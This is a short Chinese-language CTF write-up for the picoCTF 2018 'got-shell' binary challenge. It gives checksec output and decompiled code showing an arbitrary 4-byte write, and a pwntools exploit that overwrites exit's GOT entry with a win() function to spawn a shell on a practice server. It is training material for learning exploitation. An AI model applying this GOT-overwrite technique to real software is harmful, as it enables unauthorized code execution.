HugeH4rD

picoctf_2018_got_shell

Ubuntu 18 来源：https://github.com/hebtuerror404

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/picoctf_2018_got_shell/PicoCTF_2018_got-shell'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA

main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // [esp+14h] [ebp-114h] BYREF
  int v4; // [esp+18h] [ebp-110h] BYREF
  char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v6; // [esp+11Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
  __isoc99_scanf("%x", &v3);
  sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
  puts(s);
  __isoc99_scanf("%x", &v4);
  sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
  puts(s);
  *v3 = v4;
  puts("Okay, exiting now...\n");
  exit(1);
}

win()

int win()
{
  return system("/bin/sh");
}

0x02

---

思路

修改exit的got为win

0x03

---

exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')
io = remote('node4.buuoj.cn', 27769)
path = './PicoCTF_2018_got-shell'
# io = process([path])
# elf = ELF(path)
# libc = ELF('./libc-2.23.so')

win = 0x804854B
payload = b'0x804a014'
io.sendline(payload)
payload = b'0x804854B'
io.sendline(payload)
io.interactive()